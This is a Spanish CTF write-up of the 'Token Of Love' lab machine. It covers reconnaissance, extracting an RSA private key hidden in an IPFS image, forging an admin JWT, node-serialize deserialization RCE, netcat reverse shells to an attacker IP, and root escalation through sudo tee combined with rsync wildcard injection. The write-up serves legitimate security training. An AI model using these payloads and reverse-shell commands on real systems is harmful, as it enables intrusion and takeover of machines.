Skip to content

WriteUp Token Of Love - TheHackersLabs

Rabbit in Matrix

Writeup que narra con amor la travesía hacker en “Token Of Love”, se descifra una pista oculta en IPFS para obtener la clave privada y manipular el JWT, se explotan vulnerabilidades en Node.js para ejecutar código remoto y, con un tierno truco usando sudo con tee y una vulnerabilidad en rsync wildcards, se escala con cariño hasta lograr privilegios root.

alt text

Tabla de contenido

Abrir tabla de contenido

Enumeración automática

Escaneando los puertos abiertos.

$ nmap -p- -Pn -n 192.168.1.179
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-23 20:04 CET
Nmap scan report for 192.168.1.179
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

Encontramos los puertos 80 y 22, escaneamos estos dos puertos para obtener más información.

$ nmap -p22,80 -Pn -n -sVC 192.168.1.179
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-23 20:05 CET
Nmap scan report for 192.168.1.179
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 f21345975282db77a38c7c243651e2c9 (ECDSA)
|_  256 4b3ef2d3c4f6becd04fff1a11fa563d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Token Of Love - Inicia Sesi\xC3\xB3n
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds

Intentamos obtener más información sobre el sitio web del puerto 80 con whatweb.

$ whatweb http://192.168.1.179
http://192.168.1.179 [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[192.168.1.179], PasswordField[password], Title[Token Of Love - Inicia Sesión], X-Powered-By[Express]

También realizamos fuzzing del sitio web para obtener más información.

Con dirb

$ dirb http://192.168.1.179

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb 23 20:12:17 2025
URL_BASE: http://192.168.1.179/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.179/ ----
+ http://192.168.1.179/css (CODE:301|SIZE:153)                                                      
+ http://192.168.1.179/images (CODE:301|SIZE:156)                                                   
+ http://192.168.1.179/logout (CODE:302|SIZE:23)                                                    
+ http://192.168.1.179/messages (CODE:403|SIZE:22)                                                  
+ http://192.168.1.179/private (CODE:403|SIZE:22)                                                   
+ http://192.168.1.179/register (CODE:200|SIZE:8121)                                                
+ http://192.168.1.179/server-status (CODE:403|SIZE:278)                                            
                                                                                                    
-----------------
END_TIME: Sun Feb 23 20:13:20 2025
DOWNLOADED: 4612 - FOUND: 7

… y con gobuster.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.179 -x .php,.txt,.zip,.db,.htm,.html -t 40 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.179
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              htm,html,php,txt,zip,db
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 156] [--> /images/]
/register             (Status: 200) [Size: 8125]
/css                  (Status: 301) [Size: 153] [--> /css/]
/messages             (Status: 403) [Size: 22]
/private              (Status: 403) [Size: 22]
/logout               (Status: 302) [Size: 23] [--> /]
/Register             (Status: 200) [Size: 8124]
/Private              (Status: 403) [Size: 22]
/Logout               (Status: 302) [Size: 23] [--> /]
/Messages             (Status: 403) [Size: 22]
/server-status        (Status: 403) [Size: 278]

Enumeración manual

alt text

Entramos al sitio web del puerto 80, nos registramos e iniciamos sesión, miramos el código fuente después de iniciar sesión y las cookies, parece ser una cookie de sesión JWT.

En el código javascript de la página, podemos encontrar varias pistas.

<script>
    // Función para obtener mensajes desde el servidor y renderizarlos de forma segura
    function loadMessages() {
      fetch('/messages')
        .then(response => response.json())
        .then(data => {
          const messagesDiv = document.getElementById('messages');
          messagesDiv.innerHTML = '';
          data.messages.forEach(msg => {
            const div = document.createElement('div');
            div.className = 'message';
            
            // Crear un elemento para el remitente y establecer el texto usando textContent para evitar inyección HTML
            const senderEl = document.createElement('strong');
            senderEl.textContent = msg.sender;
            div.appendChild(senderEl);
            
            // Agregar información de la fecha y hora
            const timestampText = document.createTextNode(" (" + new Date(msg.timestamp).toLocaleString() + "): ");
            div.appendChild(timestampText);
            
            // Crear un nodo de texto para el mensaje, asegurando que se escape cualquier carácter HTML
            const messageText = document.createTextNode(msg.text);
            div.appendChild(messageText);
            
            messagesDiv.appendChild(div);
          });
        })
        .catch(error => console.error('Error al cargar mensajes:', error));
    }

    // Cargar mensajes al iniciar la página
    loadMessages();
    /**

    .-./`) .-------.  ________    .-'''-.  
    \ .-.')\  _(`)_ \|        |  / _     \ 
    / `-' \| (_ o._)||   .----' (`' )/`--' 
    `-'`"`|  (_,_) /|  _|____ (_ o _).    
    .---. |   '-.-' |_( )_   | (_,_). '.  
    |   | |   |     (_ o._)__|.---.  \  : 
    |   | |   |     |(_,_)    \    `-'  | 
    |   | /   )     |   |      \       /  
    '---' `---'     '---'       `-...-'   

    Busca el conejo hacker amoroso en un mundo interplanetario !

    **/
    // Solo los usuarios admin pueden enviar mensajes
    
</script>

Cookie de session token, tiene activado el HttpOnly.

alt text

El JWT de la cookie lo podemos decodificar para ver su contenido y el algoritmo que utiliza.

alt text

Para decodificar el token JWT que se encuentra en la cookie utilizamos el sitio web https://10015.io/tools/jwt-encoder-decode.

Vemos que la cookie utiliza algoritmo asimétrico RS256, por lo que seguramente hay clave privada y publica. Con la clave privada se firman los token y con la clave publica se validan los token firmados.

Las aplicaciones que utilizan sistemas de firma asimétrica para JWT suelen exponer las claves publicas para que los clientes puedan comprobar la firma del servidor, estas se suelen exponer en el endpoint /.well-known/jwks.json por norma general, miramos si existe ese endpoint y nos devuelve la clave publica en formato JSON.

$ curl http://192.168.1.179/.well-known/jwks.json | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   420  100   420    0     0  93645      0 --:--:-- --:--:-- --:--:--  102k
{
  "keys": [
    {
      "kty": "RSA",
      "n": "qvf2RrttWEl-3JydhNL9sOmnRrjIQKTJgUnuAyyhqUQF0GbcMtlLJakWVLdb23n5rwW6AvX9dXHzG4Fmj7bqy8GEKP6i3_GzZzEMMOtzF7BQFJnIH9uC0hIvn2ha---iEf9flPFO-qEjlm7qLhmoRhlre-D8Hb_8V5qm2VDcV2Tna8Q4IsYVf1IqVpMZ3seBkaYRXuCgXE_9ItagHYMaYA0G41Y-YPppnHjqUp3NYG7K7bBI4G1krwxAFqZTZUZQIlBdJ6ej6oKVCzrsUUzB5Y-BnW-2Hx6fDM-ik4ChNfpKOL7rLyqvvVKnIMlB1vFQplr4RWeonnUSdAMs5vj9Vw",
      "e": "AQAB",
      "alg": "RS256",
      "use": "sig",
      "kid": "1"
    }
  ]
}

Si intentamos manipular el JWT no podremos porque la programación esta bien echa (o eso creo). Solo acepta JWT firmados con la clave privada y no se puede jugar a las diferentes técnicas de portswigger, la intención es aprender que es un JWT y el funcionamiento de claves asimétricas.

En resumen, necesitamos la clave privada de esta aplicación para poder manipular el JWT y en el código fuente hay una pista muy importante IPFS (InterPlanetary File System), y en los mensajes del administrador hay más pistas y lo que parece ser un hash.

alt text

administrador (15/2/2025, 23:50:11): Dicen que las claves viajan por rutas interplanetarias, vagando por el espacio infinito y estando en todas partes a la vez… ¿será magia o pura tecnología? 😉🔮 bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu

Utilizamos un GateWay HTTP para IPFS, podemos obtener uno de la siguiente lista:

https://ipfs.github.io/public-gateway-checker/

Solo tenemos que añadir el hash del recurso IPFS en la URL del GateWay seleccionado.

$ wget https://ipfs.io/ipfs/bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu                          
--2025-02-16 00:04:33--  https://ipfs.io/ipfs/bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu
Resolviendo ipfs.io (ipfs.io)... 2602:fea2:2::1, 209.94.90.1
Conectando con ipfs.io (ipfs.io)[2602:fea2:2::1]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1025464 (1001K) [image/webp]
Grabando a: «bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu»

bafybeicbqiitqxhqx47qenneilg 100%[==============================================>]   1001K  --.-KB/s    en 0,1s    

2025-02-16 00:04:33 (8,30 MB/s) - «bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu» guardado [1025464/1025464]

$ ls    
bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu

$ file bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu 
bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu: RIFF (little-endian) data, Web/P image

$ mv bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu file.webp

Comprobamos el fichero y parece ser una imagen WEBP, modificamos el fichero para más facilidad y lo abrimos para ver la imagen.

alt text

Es el mismo conejo que aparece en la página de login y de registro, comprobamos las diferencias y es todo igual pero no.

$ diff hacker.webp file.webp  
Los archivos binarios hacker.webp y file.webp son distintos

Parece que el fichero descargado de IPFS contiene algo, steghide no acepta fichero WEBP, a si que utilizamos imgconceal.

https://github.com/tbpaolini/imgconceal

$ wget https://github.com/tbpaolini/imgconceal/releases/download/v1.0.4/imgconceal
$ chmod +x imgconceal
$ ./imgconceal -e file.webp       
Input password for the hidden file (may be blank)
Password: 
Scanning cover image for suitable carrier bits... Done!  
SUCCESS: extracted 'private.key' from 'file.webp'.
  hidden on: Thu Feb 13 18:49:04 2025
$ cat private.key    
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCq9/ZGu21YSX7c
nJ2E0v2w6adGuMhApMmBSe4DLKGpRAXQZtwy2UslqRZUt1vbefmvBboC9f11cfMb
gWaPturLwYQo/qLf8bNnMQww63MXsFAUmcgf24LSEi+faFr776IR/1+U8U76oSOW
buouGahGGWt74Pwdv/xXmqbZUNxXZOdrxDgixhV/UipWkxnex4GRphFe4KBcT/0i
1qAdgxpgDQbjVj5g+mmceOpSnc1gbsrtsEjgbWSvDEAWplNlRlAiUF0np6PqgpUL
OuxRTMHlj4Gdb7YfHp8Mz6KTgKE1+ko4vusvKq+9UqcgyUHW8VCmWvhFZ6iedRJ0
Ayzm+P1XAgMBAAECggEASm8HMTdDfUcOLNUgvSWw3ndzZNZpFL/JnPjHX2lsfomH
cHp/zsGMtno9pydnHhAmNN1s5QIc1aeFHIoDUXllEs2PENv/pDkSDtCrSpcPdhZE
XxuupbQHahcR1bh0uC/VozlH70v5wyMpn8JtQSHZgZ9qjLXgfcFKhwdlMcLDE2a7
2S5xac3OCQSD6Dak0pwTcnjUiQb43H6sR9d6DY6eMBTrCH+nJdHh3vOathhIzlj7
uDPYc5o5E6Ui6JJmrRt5H4FSAIzati3qw3+eE9hRbYqNJtYnQcxWXSY2HbLX8ooh
LUcAGm23+RSy7cBfdIQUSjWROqk6oE9XZaP6JE3YaQKBgQDegPsKL+6jBH16LKo3
vSm1vVh0aq87yv2zhTPNMctM30hOKzQqfNOt4yJQ5j86hEqMr1iHrgXOMRmxZAHt
Y330s50nva2aV2DekY6KZHk2prUfwMYp+UjAGL5ehRJ3goI5eD+Eo8+NIwk4hecM
kxnaBktuXjvhHaI5VZOTxr57GQKBgQDEtODMSu3OsqtDmQVyMjBiR5W1l8dp9vn3
jRo2uRc2EEKh2rOQxFJy4UYcg8O5Ekp0irD8jr7GGrHgTF+9o3u0k37h8AOZdR94
Yj5UGo3hkYzcSyAmg+5IauLNATXKAkMsF1VwRDLp34PWL3BDcS63LF6f+iSl9vYR
FVNlWoe57wKBgDxqYz/R4gcrmfKJnDKET4YEgrchnLEsnhSXr4gg5CXcXuKywnhi
6otFqDS1QCfgcemfVveIXhUtqd9L22Yc5L+D4cE/tJq67ReiCEU1oOAhBf84NdaB
1KosTcyWb3w52KhIKV8Xp6yX/dH2MdVtP9C+cs7mEXY/uKO+w9KVXXVJAoGAfMSC
BfLM7htz+Dd6NdnRyLTBJ+Ky0Oqf2L4+T1GNgHRF32XaGcv8w/NRxkppfd01LsC9
zCQ6q2tJQg0PeTjWAU7A30ye69pXcMNX537EWbw5jY11QhjSrkplu0S2OoC+3Juc
TM5lQOTOOa/zVEPZLsRM7Mn8Luz7XRCayiHnDy8CgYBsSiu45tsvRRKmMNY4Gxb5
6s2rgGPKbDxmXc4s5xqAqNi6MmFxcZQGkmw8Unzd1QB9HeFGlJGuqIeIj5kRLepL
4mKP3UvXUZGHWIl4MNSoqPh8u1Sq2P4W/K+NOlKTXnmrvldF+VxYaRTdqQ46+h3k
PkDtOtToiExm8jdJZ5lNdw==
-----END PRIVATE KEY-----

Obtenemos una clave privada que se utiliza para firmar el token JWT, ahora podemos manipularlo. Podemos comprobar que esta clave privada pertenece a la clave pública encontrada en /.well-known/jwks.json, antes tendremos que transformarla. También podemos volver a crear la clave pública a partir de la clave privada. En definitiva podemos hacer varias pruebas para comprobar que esta clave privada pertenece a la aplicación expuesta en el puerto 80, pero no será necesario.

Intrusión

Volvemos a https://10015.io/tools/jwt-encoder-decoder y utilizamos la clave privada para firmar el JWT.

alt text

Copiamos el JWT firmado con la clave privada, entramos con nuestro usuario en la aplicación y modificamos la cookie token por el token JWT modificado con el role a “admin”, actualizamos el navegador y ya somos usuario administrador y podemos enviar mensajes.

alt text

En este punto al tener la clave privada nos podríamos hacer pasar por cualquier usuario registrado o incluso por el propio servidor, pero con esto es suficiente.

Ahora hay más javascript, el que envía el mensaje a la API.

// Solo los usuarios admin pueden enviar mensajes
    document.getElementById('messageForm').addEventListener('submit', function(e) {
        e.preventDefault();
        const messageTextValue = document.getElementById('messageText').value;
        // Crear objeto del mensaje
        const message = { text: messageTextValue };
        // Serializar el objeto utilizando JSON.stringify; node-serialize deserializará en el servidor
        const serializedMessage = JSON.stringify(message);

        fetch('/messages', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ data: serializedMessage })
        })
        .then(response => response.json())
        .then(data => {
          if(data.message) {
            alert(data.message);
            document.getElementById('messageText').value = '';
            loadMessages();
          } else {
            alert('Error al enviar mensaje');
          }
        })
        .catch(error => {
          console.error('Error al enviar mensaje:', error);
          alert('Error al enviar mensaje');
        });
      });

Por otro lado observando las cabeceras de la respuesta que obtuvimos al principio con whatweb o mediante las herramientas de desarrollador del propio navegador, y podemos ver que el backend es una aplicación con Express, framework de Node.js.

alt text

Ademas hay un mensaje muy subjetivo en la web:

Serializa tu mensaje y envíalo con cariño.

Utilizamos Burp Suite y capturamos el envío de un mensaje y lo enviamos al repeater.

Modificamos la data enviada por el siguiente payload:

{"data":"{\"text\":\"test\",\"rce\":\"_$$ND_FUNC$$_function (){require('child_process').exec('wget 192.168.1.116', function(error, stdout, stderr) { console.log(stdout) });}()\"}"}

Envía un JSON con el parámetro data donde dentro parece enviar otro json, que en realidad es un objeto javascript que deserializa en el servidor, conseguimos RCE.

alt text

Más información sobre esta técnica:

Nos ponemos a la espera de un revshell con netcat en el puerto 12345

nc -lvnp 12345

y enviamos el siguiente payload mediante burp suite.

{"data":"{\"text\":\"test\",\"rce\":\"_$$ND_FUNC$$_function (){require('child_process').exec('nc -c bash 192.168.1.116 12345', function(error, stdout, stderr) { console.log(stdout) });}()\"}"}

Obtenemos una shell como el usuario cupido.

alt text

Escalada privilegios

Tratamos la terminal para trabajar mejor. Vemos que el usuario cupido puede ejecutar tee como el usuario eros sin contraseña.

cupido@tokenoflove:~/tokenoflove$ sudo -l
Matching Defaults entries for cupido on tokenoflove:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User cupido may run the following commands on tokenoflove:
    (eros) NOPASSWD: /usr/bin/tee

Que según gtfobins tenemos privilegios para escribir ficheros como el usuario eros.

alt text

Si intentamos crear una clave SSH para el usuario eros no servirá de nada, ya que el servicio SSH solo esta accesible para el usuario root.

cupido@tokenoflove:~/tokenoflove$ cat /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy use...
...
...

AllowUsers root

Por otro lado si observamos los procesos que se ejecutan como root con pspy64 nos lo enviamos al servidor y lo ejecutamos, esperamos un minuto y encontramos el siguiente proceso.

alt text

Vemos que hay un proceso que mediante rsync copia todo el home del usuario eros, tal como esta hecho es vulnerable a rsync wildcards (https://www.exploit-db.com/papers/33930)

Básicamente lo que nos interesa es esto:

CMD: UID=0     PID=2888   | /bin/sh -c bash -c "cd /home/eros && rsync -i /root/.ssh/id_ed25519 -t *.txt tokenoflove:/root/copyhome-eros" > /dev/null 2>&1
CMD: UID=0     PID=2890   | rsync -i /root/.ssh/id_ed25519 -t nota2.txt nota3.txt nota.txt tokenoflove:/root/copyhome-eros 

Seguimos con el usuario cupido, podemos escribir con sudo ficheros como el usuario eros, y ademas tenemos una posible vulnerabilidad de rsync wildcard. Combinamos las dos cosas para crear los siguientes ficheros y acceder directamente a root.

cupido@tokenoflove:~$ echo "nc -c bash 192.168.1.116 443" | sudo -u eros /usr/bin/tee /home/eros/shell.txt
nc -c bash 192.168.1.116 443
cupido@tokenoflove:~$ echo "" | sudo -u eros /usr/bin/tee /home/eros/'-e sh shell.txt'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.116] from (UNKNOWN) [192.168.1.179] 41722
id
uid=0(root) gid=0(root) grupos=0(root)

alt text

Esperamos un minuto máximo y obtenemos shell como root.